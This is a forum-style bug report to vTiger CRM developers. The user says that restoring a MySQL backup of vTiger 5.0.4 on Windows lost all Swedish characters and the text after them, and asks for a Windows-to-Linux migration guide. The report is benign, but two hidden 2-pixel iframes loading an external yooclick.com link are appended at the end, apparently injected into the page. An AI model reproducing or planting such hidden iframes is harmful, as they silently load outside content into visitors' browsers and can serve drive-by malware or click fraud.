Hi,
Short background story.
Our company just left Microsoft and continue working with IBM instead so we are now migrating everything away from Microsoft. Ex are we moving over from Exchange 2007 to Lotus Domino and Windows Server to Linux.
And vTiger is something we just start testing during Jan. And of course did we start with vTiger 5.0.4 on Windows Server 2003 x64 and now are we moving over to vTiger 5.0.4 on Linux to continue test the software.
I trying to migrate the data from MySQL in Windows to MySQL in Linux and I got it to work 50/50.
But now the bug I found. During my testing to migrate did I do the mistake to overwrite our database in Windows, and I needed to restore our database backup in Windows.
The restore went find and vTiger 5.0.4 starts OK again. But I sow that the backup function is not backing up in UNICODE format.
All our data that using Swedish characters such Å Ä Ö is missing and all data after å ä ö is also missing.
Now are we lucky that we just testing vTiger CRM and the mount of data was not that much so we could easy recover the data really easy.
But I think it should be good if you guys are fixing this so the backup works fine.
PS: Is their any document that explain how to migrate from Windows 2 Linux? That should probably save me a lot of time. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
